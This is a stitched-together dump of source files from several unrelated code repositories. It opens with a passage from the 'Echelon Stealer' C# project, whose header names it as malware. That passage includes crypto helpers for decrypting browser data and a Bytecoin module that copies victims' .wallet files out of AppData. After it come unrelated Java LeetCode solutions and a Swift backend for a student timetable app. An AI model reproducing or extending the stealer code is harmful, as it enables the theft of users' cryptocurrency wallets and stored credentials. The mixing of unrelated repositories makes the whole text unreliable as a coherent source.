& 0xFF] ^ (Si[(num2 >> 8) & 0xFF] << 8) ^ (Si[(num5 >> 16) & 0xFF] << 16) ^ (Si[num4 >> 24] << 24) ^ (int)KW[0, 1]); C2 = (uint)(Si[num4 & 0xFF] ^ (Si[(num3 >> 8) & 0xFF] << 8) ^ (Si[(num2 >> 16) & 0xFF] << 16) ^ (Si[num5 >> 24] << 24) ^ (int)KW[0, 2]); C3 = (uint)(Si[num5 & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num3 >> 16) & 0xFF] << 16) ^ (Si[num2 >> 24] << 24) ^ (int)KW[0, 3]); } } public class CryptoException : Exception { public CryptoException() { } public CryptoException(string message) : base(message) { } public CryptoException(string message, Exception exception) : base(message, exception) { } } public class DataLengthException : CryptoException { public DataLengthException() { } public DataLengthException(string message) : base(message) { } public DataLengthException(string message, Exception exception) : base(message, exception) { } } public interface IBlockCipher { string AlgorithmName { get; } bool IsPartialBlockOkay { get; } void Init(bool forEncryption, ICipherParameters parameters); int GetBlockSize(); int ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff); void Reset(); } public interface ICipherParameters { } public class InvalidCipherTextException : CryptoException { public InvalidCipherTextException() { } public InvalidCipherTextException(string message) : base(message) { } public InvalidCipherTextException(string message, Exception exception) : base(message, exception) { } } public static class AesGcm256 { public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) { string result = string.Empty; try { GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesFastEngine()); AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null); gcmBlockCipher.Init(false, parameters); byte[] array = new byte[gcmBlockCipher.GetOutputSize(encryptedBytes.Length)]; int outOff = gcmBlockCipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, array, 0); gcmBlockCipher.DoFinal(array, outOff); result = Encoding.UTF8.GetString(array).TrimEnd("\r\n\0".ToCharArray()); return result; } catch { return result; } } } public class AeadParameters : ICipherParameters { private readonly byte[] associatedText; private readonly byte[] nonce; private readonly KeyParameter key; private readonly int macSize; public virtual KeyParameter Key => key; public virtual int MacSize => macSize; public AeadParameters(KeyParameter key, int macSize, byte[] nonce, byte[] associatedText) { this.key = key; this.nonce = nonce; this.macSize = macSize; this.associatedText = associatedText; } public virtual byte[] GetAssociatedText() { return associatedText; } public virtual byte[] GetNonce() { return nonce; } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JsonPrimitive.cs using System; using System.Globalization; using System.IO; using System.Text; namespace Echelon { public class JsonPrimitive : JsonValue { private object value; private static readonly byte[] true_bytes = Encoding.UTF8.GetBytes("true"); private static readonly byte[] false_bytes = Encoding.UTF8.GetBytes("false"); public object Value => value; public override JsonType JsonType { get { if (value == null) { return JsonType.String; } switch (Type.GetTypeCode(value.GetType())) { case TypeCode.Boolean: return JsonType.Boolean; case TypeCode.Object: case TypeCode.Char: case TypeCode.DateTime: case TypeCode.String: return JsonType.String; default: return JsonType.Number; } } } public JsonPrimitive(bool value) { this.value = value; } public JsonPrimitive(byte value) { this.value = value; } public JsonPrimitive(char value) { this.value = value; } public JsonPrimitive(decimal value) { this.value = value; } public JsonPrimitive(double value) { this.value = value; } public JsonPrimitive(float value) { this.value = value; } public JsonPrimitive(int value) { this.value = value; } public JsonPrimitive(long value) { this.value = value; } public JsonPrimitive(sbyte value) { this.value = value; } public JsonPrimitive(short value) { this.value = value; } public JsonPrimitive(string value) { this.value = value; } public JsonPrimitive(DateTime value) { this.value = value; } public JsonPrimitive(uint value) { this.value = value; } public JsonPrimitive(ulong value) { this.value = value; } public JsonPrimitive(ushort value) { this.value = value; } public JsonPrimitive(DateTimeOffset value) { this.value = value; } public JsonPrimitive(Guid value) { this.value = value; } public JsonPrimitive(TimeSpan value) { this.value = value; } public JsonPrimitive(Uri value) { this.value = value; } public JsonPrimitive(object value) { this.value = value; } public override void Save(Stream stream, bool parsing) { switch (JsonType) { case JsonType.Boolean: if ((bool)value) { stream.Write(true_bytes, 0, 4); } else { stream.Write(false_bytes, 0, 5); } break; case JsonType.String: { stream.WriteByte(34); byte[] bytes = Encoding.UTF8.GetBytes(EscapeString(value.ToString())); stream.Write(bytes, 0, bytes.Length); stream.WriteByte(34); break; } default: { byte[] bytes = Encoding.UTF8.GetBytes(GetFormattedString()); stream.Write(bytes, 0, bytes.Length); break; } } } public string GetFormattedString() { switch (JsonType) { case JsonType.String: if (value is string || value == null) { string text2 = value as string; if (string.IsNullOrEmpty(text2)) { return "null"; } return text2.Trim('"'); } if (value is char) { return value.ToString(); } throw new NotImplementedException("GetFormattedString from value type " + value.GetType()); case JsonType.Number: { string text = (!(value is float) && !(value is double)) ? ((IFormattable)value).ToString("G", NumberFormatInfo.InvariantInfo) : ((IFormattable)value).ToString("R", NumberFormatInfo.InvariantInfo); if (text == "NaN" || text == "Infinity" || text == "-Infinity") { return "\"" + text + "\""; } return text; } default: throw new InvalidOperationException(); } } } } <file_sep>/Stealer/Wallets/Bytecoin.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Bytecoin { public static int count = 0; public static string bytecoinDir = Help.AppDate + "\\bytecoin\\"; public static void BCNcoinStr(string directorypath) { try { if (Directory.Exists(bytecoinDir)) { foreach (FileInfo file in new DirectoryInfo(bytecoinDir).GetFiles()) { Directory.CreateDirectory(directorypath + "\\Wallets\\Bytecoin\\"); if (file.Extension.Equals(".wallet")) { file.CopyTo(directorypath + "\\Bytecoin\\" + file.Name); } } count++; Wallets.count++; } else { return; } } catch { } } } }
efc958756f597cf35b23b87820fdd176c34373c9
[ "Markdown", "C#" ]
55
C#
Ondrik8/Echelon-Stealer-v5
7a70e189e977a4fcef7bac6084a7b1f1d5eeac8f
e3ae432611467e3eb7256a06ef53c96362afeb65
refs/heads/master
<file_sep>class Solution200 { public int numIslands() { char[][] grid={{'1','1','0','0','0'},{'1','1','0','0','0'},{'0','0','1','0','0'},{'0','0','0','1','1'}}; if (grid.length==0) return 0; int m=grid.length; int n=grid[0].length; int res=0; for (int i = 0; i < m; i++) { for (int j = 0; j < n; j++) { if (grid[i][j]=='1') res+=1; dfs(grid,i,j,m,n); } } return res; } //dfs private void dfs(char[][] grid,int x,int y,int m,int n){ if (x<0||y<0||x>=m||y>=n||grid[x][y]=='0') return; grid[x][y]='0'; dfs(grid,x+1,y,m,n); dfs(grid,x-1,y,m,n); dfs(grid,x,y+1,m,n); dfs(grid,x,y-1,m,n); } } public class Search_pc { } <file_sep>class Solution28 { public int strStr() { String haystack="mississippi"; String needle="issip"; int index=-1; if (haystack.isEmpty()&&needle.isEmpty()) return 0; if (needle.isEmpty()) return 0; if (needle.length()>haystack.length()) return -1; for (int i = 0; i < haystack.length(); i++) { for (int j = 0; j <needle.length() ; j++) { if (haystack.charAt(i+j)==needle.charAt(j)){ index=i; if (j==needle.length()-1) return index; } System.out.println(i+j); if (haystack.charAt(i+j)!=needle.charAt(j)){ index=-1; break; } } } return index; } } public class String_PC { public static void main(String[] args) { Solution28 s=new Solution28(); System.out.println(s.strStr()); } }
fe335aa522a35a342e1e45cf98aae82f36873ad2
[ "Java" ]
2
Java
HY-Franklin/Leetcodes_java
2c1105af452fb33a6aa13437a05679f32cd9f820
17a385f1bc710f4a7b1e1036c039dd7dc2f8910a
refs/heads/master
<repo_name>nathan815/EnemyClouds<file_sep>/Cloud.js import React from 'react'; import { Image, StyleSheet, Dimensions, Animated, Easing, TouchableWithoutFeedback } from 'react-native'; const deviceWidth = Dimensions.get('window').width; const startX = deviceWidth; const defaultY = 30; const defaultSpeed = 5000; class Cloud extends React.Component { constructor(props) { super(props); this.width = 150; this.height = 79; this.speed = this.props.speed || defaultSpeed; // milliseconds to move across the screen this.state = { x: new Animated.Value(startX), y: new Animated.Value(this.props.y || defaultY) }; this.state.x.addListener(({value}) => this._value = value); this.state.y.addListener(({value}) => this._value = value); this.startMoving(); } isInViewport() { return (this.state.x._value + this.width > 0) && this.state.x._value < deviceWidth; } getDimensions() { return { x: this.state.x._value, y: this.state.y._value, width: this.width, height: this.height, inViewport: this.isInViewport() }; } startMoving() { Animated.timing( this.state.x, { toValue: 0-this.width, duration: this.speed, easing: Easing.linear } ).start(() => { if(!this.isInViewport()) this.props.offScreen(); }); } getStyle() { return [ styles.cloud, { left: this.state.x, top: this.state.y } ]; } render() { return ( <Animated.Image source={ this.props.imgSrc } style={ this.getStyle() } /> ); } } const styles = StyleSheet.create({ cloud: { position: 'absolute', top: 0, left: deviceWidth, width: 150, height: 79, zIndex: 2 } }); module.exports = Cloud;<file_sep>/README.md Game built with React Native for COSC 231 Project 12.<file_sep>/Bird.js import React from 'react'; import { Image, StyleSheet, Animated, Easing, Dimensions } from 'react-native'; const deviceHeight = Dimensions.get('window').height; const hiddenY = -70; const defaultX = 50; const defaultY = 50; class Bird extends React.Component { constructor(props) { super(props); this.imgSrc = require('./resources/bird.png'); this.width = 70; this.height = 70; this.jumpAnimation = null; this.idleAnimationHandle = null; this.state = { x: new Animated.Value(defaultX), y: new Animated.Value(hiddenY), rotate: new Animated.Value(0) }; this.state.x.addListener(({value}) => this._value = value); this.state.y.addListener(({value}) => this._value = value); } componentDidUpdate() { this.idleAnimation(this.props.gameStarted); } begin() { Animated.sequence([ Animated.timing( this.state.y, { toValue: defaultY+100, duration: 1000 } ), Animated.timing( this.state.y, { toValue: defaultY, duration: 1000 } ) ]).start(); } gameOverAnimation() { Animated.parallel([ Animated.timing( this.state.y, { toValue: deviceHeight, duration: 1000 } ), Animated.timing( this.state.rotate, { toValue: 360, duration: 1000 } ) ]).start(() => { this.setState({ x: new Animated.Value(defaultX), y: new Animated.Value(hiddenY), rotate: new Animated.Value(0) }); }); } gameOver() { this.gameOverAnimation(); } getDimensions() { return { x: this.state.x._value, y: this.state.y._value, width: this.width, height: this.height }; } idleAnimation(run=true) { if(!this.props.gameStarted) return; this.idleAnimationHandle = Animated.sequence([ Animated.timing( this.state.rotate, { toValue: 20, duration: 1000 } ), Animated.timing( this.state.rotate, { toValue: 0, duration: 1000 } ) ]).start(() => { this.idleAnimation(); }); } jump(override=false) { if(!this.props.gameStarted && !override) return; this.jumpAnimation = Animated.sequence([ Animated.timing( this.state.y, { toValue: deviceHeight-300, duration: 1000 } ), Animated.timing( this.state.y, { toValue: defaultY, duration: 1000 } ) ]).start(); } getStyle() { let spin = this.state.rotate.interpolate({ inputRange: [-360, 360], outputRange: ['-360deg', '360deg'] }); return [ styles.bird, { left: this.state.x, top: this.state.y, transform: [{rotate:spin}] } ]; } render() { return ( <Animated.Image source={ this.imgSrc } style={ this.getStyle() } ref="bird" /> ); } } const styles = StyleSheet.create({ bird: { resizeMode: 'stretch', width: 70, height: 70, position: 'absolute', top: hiddenY, left: defaultX, zIndex: 1, //borderWidth: 1, //borderColor: '#ff0000' } }); module.exports = Bird;<file_sep>/GameElements.js import React from 'react'; import { View, Image, StyleSheet, Dimensions } from 'react-native'; import CloudManager from './CloudManager'; import Bird from './Bird'; class GameElements extends React.Component { constructor(props) { super(props); this.components = { bird: null }; } render() { return ( <View> </View> ); } } module.exports = GameElements;<file_sep>/App.js import React from 'react'; import { StyleSheet, Text, Image, View, StatusBar, Platform, TouchableOpacity, TouchableWithoutFeedback, Dimensions, Animated } from 'react-native'; import { Asset, AppLoading } from 'expo'; import CloudManager from './CloudManager'; import Bird from './Bird'; const deviceHeight = Dimensions.get('window').height; const startScreenHiddenPos = deviceHeight+400; const startScreenVisiblePos = 0; export default class Game extends React.Component { constructor(props) { super(props); this.grassImgSrc = require('./resources/grass.png'); this.state = { gameStarted: false, gameOver: false, isReady: false, startScreenPos: new Animated.Value(startScreenHiddenPos), score: 0 }; this.components = { bird: null, cloudManager: null }; } componentDidMount() { this.checkForCollisions(); this.showStartScreen(); } checkForCollisions() { setInterval(() => { if(!this.state.gameStarted) return; for(cloud of this.refs.cloudManager.getCloudPositions()) { let birdDim = this.refs.bird.getDimensions(); if(cloud.inViewport && birdDim.x < cloud.x+cloud.width+5 && birdDim.x + birdDim.width > cloud.x && birdDim.y < cloud.y + cloud.height+5 && birdDim.y + birdDim.height > cloud.y) { this.gameOver(); } } },50); } birdJump() { this.refs.bird.jump(); } gameOver() { this.refs.bird.gameOver(); this.refs.cloudManager.gameOver(); this.setState({ gameOver: true, gameStarted: false }); setTimeout(() => { this.showStartScreen(); }, 1500); } hideStartScreen() { Animated.timing( this.state.startScreenPos, { duration: 500, toValue: startScreenHiddenPos }).start(); } showStartScreen() { Animated.timing( this.state.startScreenPos, { duration: 500, toValue: startScreenVisiblePos }).start(); } newGame() { this.setState({ gameStarted: true, gameOver: false }); this.hideStartScreen(); this.refs.bird.begin(); this.refs.cloudManager.begin(); } async _cacheResourcesAsync() { const images = [ require('./resources/grass.png'), require('./resources/bird.png'), require('./resources/cloud.png') ]; const cacheImages = images.map((image) => { return Asset.fromModule(image).downloadAsync(); }); return Promise.all(cacheImages) } _handleLoadingError(error) { // In this case, you might want to report the error to your error // reporting service, for example Sentry console.warn(error); } _handleFinishLoading() { this.setState({ isReady: true }); } updateScore(score) { setTimeout(() => { this.setState({ score: score }); },1500); } render() { if (!this.state.isReady) { return ( <AppLoading startAsync={this._cacheResourcesAsync} onFinish={() => this.setState({ isReady: true })} onError={console.warn} /> ) } return ( <TouchableWithoutFeedback onPress={()=>this.birdJump()}> <View style={styles.container}> <StatusBar barStyle="dark-content" /> <Animated.View style={[styles.startScreen, {'top': this.state.startScreenPos}]}> <Text style={styles.startScreenHeaderText}>Enemy Clouds</Text> <TouchableOpacity style={styles.newGameBtn} onPress={()=>this.newGame()}> <Text style={styles.newGameBtnText}>{ this.state.gameOver ? 'New Game' : 'Start Game' }</Text> </TouchableOpacity> <Text style={[styles.gameOverText,{opacity:this.state.gameOver ? 1 : 0}]}> Game Over </Text> <Text style={[styles.gameOverScoreText,{opacity:this.state.gameOver ? 1 : 0}]}> Your Score: {this.state.score} </Text> </Animated.View> <Bird ref="bird" gameStarted={this.state.gameStarted} gameOver={this.state.gameOver} /> <CloudManager ref="cloudManager" gameStarted={this.state.gameStarted} gameOver={this.state.gameOver} setScore={(score)=>{this.updateScore(score)}} /> <Image source={this.grassImgSrc} style={styles.grass} /> </View> </TouchableWithoutFeedback> ); } } const styles = StyleSheet.create({ container: { paddingTop: (Platform.OS === 'ios') ? 20 : 0, flex: 4, backgroundColor: '#96E5FF', alignItems: 'center', position: 'relative' }, grass: { position: 'absolute', bottom: 0, left: -80, zIndex: 2 }, newGameBtn: { padding: 25, backgroundColor: '#CCF2FF', borderRadius: 20, marginTop: 60, borderWidth: 1, borderColor: '#ABEAFF' }, newGameBtnText: { fontSize: 25, textAlign: 'center', fontWeight: 'bold', color: '#008FBF' }, startScreen: { marginTop: 70 }, startScreenHeaderText: { fontSize: 40, fontWeight: 'bold', textAlign: 'center', color: '#008FBF' }, gameOverText: { fontSize: 30, textAlign: 'center', marginTop: 40, color: '#008FBF', fontWeight: 'bold' }, gameOverScoreText: { fontSize: 26, textAlign: 'center', marginTop: 10, color: '#008FBF' } });
8619164e380a167928e9b6c3a982ee8349b5c908
[ "JavaScript", "Markdown" ]
5
JavaScript
nathan815/EnemyClouds
081577749aaa8d2c0096fd69222d5623e62d9419
9123f2ca9de10b6f0db118d9c994573ac7f4aa4c
refs/heads/master
<repo_name>BilalAoun99/Hello-World<file_sep>/HelloW/PaintEstimator.java package HelloW; import java.util.Scanner; public class PaintEstimator { public static void main(String[] args) { Scanner input=new Scanner(System.in); double height=input.nextDouble(); double width=input.nextDouble(); System.out.println("Enter wall height (feet):"); System.out.println("Enter wall width (feet):"); double area=(height*width); System.out.println("Wall area: "+area+" square feet"); double paint_needed=area/350; System.out.println("Paint needed: "+paint_needed+" gallons"); int cans_needed=(int)(Math.round(paint_needed)); System.out.println("Cans needed: "+cans_needed+" can(s)"); } }
5bd467ee7b41c4f6e2a105edec588310fbad519e
[ "Java" ]
1
Java
BilalAoun99/Hello-World
1e566ae192eea9aa915b5babf3589140757b4cb2
73c1afd92978c79fa9e51ba17758dcfd8d4b7f96
refs/heads/master
<file_sep>// // Login.swift // GoodStudent // // Created by ufogxl on 16/11/7. // // import Foundation import PerfectLib import PerfectHTTP import MySQL import ObjectMapper fileprivate let container = ResponseContainer() fileprivate let login_user = NSMutableDictionary() fileprivate let errorContent = ErrorContent() func login(_ request:HTTPRequest,response:HTTPResponse){ //读取网络请求的参数 let params = request.params() phaseParams(params: params) if !paramsValid(){ let errorStr = "参数错误" errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.message = errorStr container.data = errorContent container.result = false response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return } guard let ary = getUser() else{ //数据库错误 return } //无此用户 if ary.count < 1{ errorContent.code = ErrCode.NO_SUCH_USER.hashValue container.data = errorContent container.result = false container.message = "用户不存在" response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return } if (login_user as NSDictionary)["password"] as? String == ary.first!.u_pass{ let successstr = "登陆成功" container.message = successstr container.result = true container.data = ary[0] response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return }else{ let failstr = "用户名或密码错误" errorContent.code = ErrCode.PASSWORD_ERROR.hashValue container.message = failstr container.data = errorContent container.result = false response.appendBody(string:container.toJSONString(prettyPrint: false)!) response.completed() return } } //处理参数 fileprivate func phaseParams(params:[(String,String)]){ for i in 0..<params.count{ login_user.setObject(params[i].1, forKey: NSString(string: params[i].0)) } } //判断请求的参数是否输入正确 fileprivate func paramsValid() -> Bool{ if (login_user["userName"] == nil)||(login_user["password"] == nil){ return false } return true } //数据库查询操作 func getUser() -> [User]?{ let connected = mysql.connect(host: db_host, user: db_user, password: <PASSWORD>, db: database,port:db_port) guard connected else { print(mysql.errorMessage()) return nil } defer { mysql.close() } let querySuccess = mysql.query(statement: "SELECT id,u_name,u_pass FROM user WHERE u_name=\(login_user["userName"]!)") guard querySuccess else { return nil } let results = mysql.storeResults()! var ary = [User]() while let row = results.next() { let user = User() user.id = row[0]! user.u_name = Int(row[1]!) user.u_pass = row[2]! ary.append(user) } return ary } <file_sep>// // ResponseContainer.swift // GoodStudent // // Created by ufogxl on 16/11/10. // // import Foundation import ObjectMapper import PerfectLib class ResponseContainer:Mappable{ var result:Bool! var message:String! var data:ResponseContainer! required init?(map: Map) { } init() { } func mapping(map: Map) { result <- map["result"] message <- map["message"] data <- map["data"] } } <file_sep>// // CurrentInfo.swift // GoodStudent // // Created by ufogxl on 2016/11/28. // // import Foundation import ObjectMapper class CurrentInfo: ResponseContainer { //时间,指当前时间 var date:String? //周几 var week:Int? //一卡通余额 var money:Float? //今日课表 var courses:[Course]? //考试信息 var exams:[Exam]? //是否加载更多考试信息 var scores:[Score]? var hasMoreExams = false var hasMoreScore = false required init?(map: Map) { super.init(map: map) } override init() { super.init() } override func mapping(map: Map) { super.mapping(map: map) date <- map["date"] week <- map["week"] money <- map["money"] courses <- map["courses"] exams <- map["exams"] hasMoreExams <- map["hasMoreExams"] scores <- map["scores"] hasMoreScore <- map["hasMoreScore"] } } class Course:CurrentInfo{ //课程名字 var name:String? //课程号 var num:String? //显示的上下课时间 var time:String? var place:String? var teacher:String? required init?(map: Map) { super.init(map: map) } override init(){ super.init() } override func mapping(map: Map) { super.mapping(map: map) name <- map["name"] place <- map["place"] num <- map["num"] teacher <- map["teacher"] time <- map["time"] } } class Exam:Mappable{ //显示的考试时间 var time:String? var name:String? var place:String? required init?(map: Map) { } init() { } func mapping(map: Map) { time <- map["time"] name <- map["name"] place <- map["palce"] } } class Score: Mappable { var name:String? var score:String? required init?(map: Map) { } init() { } func mapping(map: Map) { name <- map["name"] score <- map["score"] } } <file_sep>// // File.swift // GoodStudent // // Created by ufogxl on 2016/12/2. // // import Foundation import ObjectMapper class TimeTable: ResponseContainer { var table:[Course]? var week:Int? override func mapping(map: Map) { super.mapping(map: map) table <- map["table"] week <- map["week"] } required init?(map: Map) { super.init(map: map) } override init() { super.init() } } <file_sep>// // Student.swift // GoodStudent // // Created by ufogxl on 16/11/6. // // import Foundation import ObjectMapper struct Student:Mappable{ var s_num:String? var s_name:String? var sex:String? var age:String? var phone_number:String? var start_time:String? var birthday:String? init?(map: Map) { } init() { } /// This function is where all variable mappings should occur. It is executed by Mapper during the mapping (serialization and deserialization) process. public mutating func mapping(map: Map) { s_num <- map["s_num"] s_name <- map["s_name"] sex <- map["sex"] age <- map["age"] phone_number <- map["phone_number"] start_time <- map["satrt_time"] birthday <- map["birthday"] } } <file_sep>## 一个用Perfect框架写的简单后台 xxxx <file_sep>// // getMoreScore.swift // GoodStudent // // Created by ufogxl on 2016/12/27. // // import Foundation import PerfectLib import PerfectHTTP import MySQL import ObjectMapper fileprivate let container = ResponseContainer() fileprivate let errorContent = ErrorContent() fileprivate var user_info = NSDictionary() func getAllScore(_ request:HTTPRequest,response:HTTPResponse){ let params = request.params() phaseParams(params: params) if !paramsValid(){ errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.data = errorContent container.result = false container.message = "参数错误" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() return } if let scores = makeAllScores(){ container.data = scores container.result = true container.message = "获取成功!" }else{ errorContent.code = ErrCode.SERVER_ERROR.hashValue container.data = errorContent container.result = false container.message = "获取失败,稍后再试!" } response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() } fileprivate func phaseParams(params: [(String,String)]){ let info = NSMutableDictionary() for pair in params{ info.setObject(pair.1, forKey: NSString(string:pair.0)) } user_info = info as NSDictionary } fileprivate func makeAllScores() -> AllScores?{ let scores = AllScores() var scoreInfo = [Score]() let mysql = MySQL() let connected = mysql.connect(host: db_host, user: db_user, password: <PASSWORD>, db: database,port:db_port) guard connected else { print(mysql.errorMessage()) return nil } defer { mysql.close() } let statement = "SELECT c_name,score FROM stujoincou WHERE s_num=\(Int(user_info["username"] as! String)!) and exam_time<=\(getWhichExam() - 3) order by exam_time" let querySuccess = mysql.query(statement: statement) guard querySuccess else{ return nil } let results = mysql.storeResults()! while let row = results.next(){ let score = Score() score.name = row[0] score.score = row[1] scoreInfo.append(score) } scores.scores = scoreInfo return scores } fileprivate func paramsValid() -> Bool{ return true } <file_sep>// // User.swift // GoodStudent // // Created by ufogxl on 16/11/9. // // import Foundation import ObjectMapper class User:ResponseContainer{ override func mapping(map: Map) { super.mapping(map: map) u_name <- map["u_name"] u_pass <- map["u_pass"] id <- map["id"] } required init?(map: Map) { super.init() } override init() { super.init() } var id:String? var u_name:Int? var u_pass:String? } <file_sep>// // MySQLOperation.swift // MySQLTest // // Created by ufogxl on 16/11/4. // //定义用来连接数据库的几个常量 import PerfectLib import MySQL import PerfectHTTP import ObjectMapper import Foundation let db_host = "127.0.0.1" let database = "edu" let db_user = "ufogxl" let db_password = "0" let db_port = UInt32(3306) let mysql = MySQL() <file_sep>// // AllScores.swift // GoodStudent // // Created by ufogxl on 2016/12/27. // // import Foundation import ObjectMapper class AllScores:ResponseContainer{ public required init?(map: Map) { super.init(map: map) } var scores:[Score]? override init(){ super.init() } override func mapping(map: Map) { scores <- map["scores"] } } <file_sep>// // getSchoolNews.swift // GoodStudent // // Created by ufogxl on 2016/12/21. // // import PerfectLib import PerfectHTTP import cURL import PerfectCURL import Kanna import Foundation fileprivate var contents:[News] = []//作为返回部分的列表 fileprivate var newsList:[News] = []//全部公告列表 fileprivate let schoolNews = SchoolNews() fileprivate let container = ResponseContainer() fileprivate var user_info = NSDictionary() func getSchoolNews(_ request:HTTPRequest?,response:HTTPResponse?){ let params = request?.params() phaseParams(params: params!) contents = [] if let page = Int(user_info["page"] as! String){ if page > 1{ if page * 10 < newsList.count { contents = Array(newsList[(page - 1) * 10..<(page * 10)]) schoolNews.newsList = contents container.data = schoolNews container.result = true response?.appendBody(string: container.toJSONString(prettyPrint: true)!) response?.completed() } }else{ newsList = [] getNewsList(0,response: response!) } } } fileprivate func phaseParams(params: [(String,String)]){ let info = NSMutableDictionary() for i in 0..<params.count{ info.setObject(params[i].1, forKey: NSString(string: params[i].0)) } user_info = info as NSDictionary } func getNewsList(_ index:Int,response:HTTPResponse){ if index >= 5{ newsList = newsList.sorted(by: {(n1,n2) -> Bool in let formatter = DateFormatter() formatter.dateFormat = "yyyy-MM-dd" let d1 = formatter.date(from: n1.time!) let d2 = formatter.date(from: n2.time!) return d1!.timeIntervalSince(d2!).hashValue > 0 }) contents = Array(newsList[0...9]) schoolNews.newsList = contents container.data = schoolNews container.result = true response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() return } let curlObj = CURL(url: urls[index]) curlObj.setOption(CURLOPT_HTTPGET, int:1) curlObj.setOption(CURLOPT_HTTPHEADER, s: "Content-Type: text/html") curlObj.perform { code, header, body in if let str = String(bytes: body, encoding: String.Encoding.utf8){ if let doc = HTML(html: str, encoding: .utf8) { for link in doc.css("div"){ if link.xpath("@class").first?.text == "newsList"{ for link in link.css("li"){ if let title = link.css("a").first?.text{ let news = News() news.title = title news.time = link.css("span").first?.text news.uri = link.css("a").first?["href"] newsList.append(news) } } } } } getNewsList(index + 1,response: response) } } } let urls = ["http://jwc.hdu.edu.cn/node/394.jspx","http://jwc.hdu.edu.cn/node/395.jspx","http://jwc.hdu.edu.cn/node/399.jspx","http://jwc.hdu.edu.cn/node/396.jspx","http://jwc.hdu.edu.cn/node/400.jspx"] <file_sep>// // getCurrentInfo.swift // GoodStudent // // Created by ufogxl on 2016/11/26. // // 获取当前状态信息,包括今日课表,一卡通和阳光长跑,如果在某个课程考试日期前14天内就包括该课程考试信息 import Foundation import PerfectLib import PerfectHTTP import MySQL import ObjectMapper fileprivate let errorContent = ErrorContent() fileprivate let container = ResponseContainer() fileprivate let user_info = NSMutableDictionary() func getCurrentInfo(_ request:HTTPRequest,response:HTTPResponse){ //读取网络请求的参数 //需要参数:username(对应学生表中的s_num) let params = request.params() phaseParams(params: params) if !paramsValid(){ let errorStr = "参数错误" errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.message = errorStr container.data = errorContent container.result = false response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return } if let currentInfo = makeCurrentInfo(){ container.data = currentInfo container.result = true container.message = "获取成功" response.appendBody(string: container.toJSONString(prettyPrint: false)!) response.completed() }else{ errorContent.message = "系统错误,请稍后再试" container.data = errorContent container.result = false container.message = "系统错误,请稍后再试!" } } fileprivate func phaseParams(params:[(String,String)]){ for i in 0..<params.count{ user_info.setObject(params[i].1, forKey: NSString(string: params[i].0)) } } fileprivate func paramsValid() -> Bool{ let username = user_info["username"] as? String if (username == nil) || (username! == ""){ return false } return true } fileprivate func makeCurrentInfo() -> CurrentInfo?{ let currentInfo = CurrentInfo() currentInfo.date = time.presentedTime var examInfo = [Exam]() var courseInfo = [Course]() var scoreInfo = [Score]() let mysql = MySQL() let connected = mysql.connect(host: db_host, user: db_user, password: <PASSWORD>, db: database,port:db_port) guard connected else { print(mysql.errorMessage()) return nil } defer { mysql.close() } if time.numberOfWeek > 14{ //获取考试信息 let statement = "SELECT c_name,exam_time,exam_place FROM stujoincou WHERE s_num=\(Int(user_info["username"] as! String)!) and exam_time>=\(getWhichExam()) order by exam_time limit 4" let querySuccess = mysql.query(statement: statement) guard querySuccess else { return nil } let results = mysql.storeResults()! while let row = results.next(){ let exam = Exam() exam.name = row[0]! exam.time = getExamTime(Int(row[1]!)!) exam.place = row[2]! examInfo.append(exam) } if examInfo.count > 3{ examInfo.removeLast() currentInfo.hasMoreExams = true } } if time.numberOfWeek > 16{ //考试成绩 let statement = "SELECT c_name,score FROM stujoincou WHERE s_num=\(Int(user_info["username"] as! String)!) and exam_time<=\(getWhichExam() - 3) order by exam_time limit 4" let querySuccess = mysql.query(statement: statement) guard querySuccess else{ return nil } let results = mysql.storeResults()! while let row = results.next() { let score = Score() score.score = row[1] score.name = row[0] scoreInfo.append(score) } if scoreInfo.count > 3{ scoreInfo.removeLast() currentInfo.hasMoreScore = true } } //不在工作日或不在上课时间 if time.numberOfClass > 25 || time.numberOfWeek > 16{ currentInfo.courses = courseInfo currentInfo.exams = examInfo currentInfo.scores = scoreInfo return currentInfo } let weekday = (time.numberOfClass - 1) / 5 + 1 //获取今日课表 let statement = "SELECT c_num,c_name,time,place,teacher FROM stujoincou WHERE s_num=\(Int(user_info["username"] as! String)!) and time between \((weekday-1) * 5 + 1) and \((weekday - 1) * 5 + 5) and time>=\(time.numberOfClass!) order by time" let querySuccess = mysql.query(statement: statement) guard querySuccess else { return nil } let results = mysql.storeResults()! while let row = results.next() { let course = Course() course.num = row[0]! course.name = row[1]! course.time = getClassTime(which: Int(row[2]!)!) course.place = row[3]! course.teacher = row[4]! courseInfo.append(course) } currentInfo.courses = courseInfo currentInfo.exams = examInfo currentInfo.scores = scoreInfo return currentInfo } <file_sep>// // setTime.swift // GoodStudent // // Created by ufogxl on 2016/11/26. // // 辅助方法,模拟不同的时间点 import Foundation import PerfectLib import PerfectHTTP import ObjectMapper fileprivate let user_info = NSMutableDictionary() fileprivate let container = ResponseContainer() fileprivate let errorContent = ErrorContent() func setTime(_ request:HTTPRequest,response:HTTPResponse){ //读取网络请求的参数 let params = request.params() phaseParams(params: params) if !paramsValid(){ let errorStr = "参数错误" errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.message = errorStr container.data = errorContent container.result = false response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return } if setTime(user_info["time"] as! String){ container.result = true container.message = "设置成功!" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() }else{ container.result = false container.message = "设置失败!,请检查输入是否合法!(xxxx-xx-xx 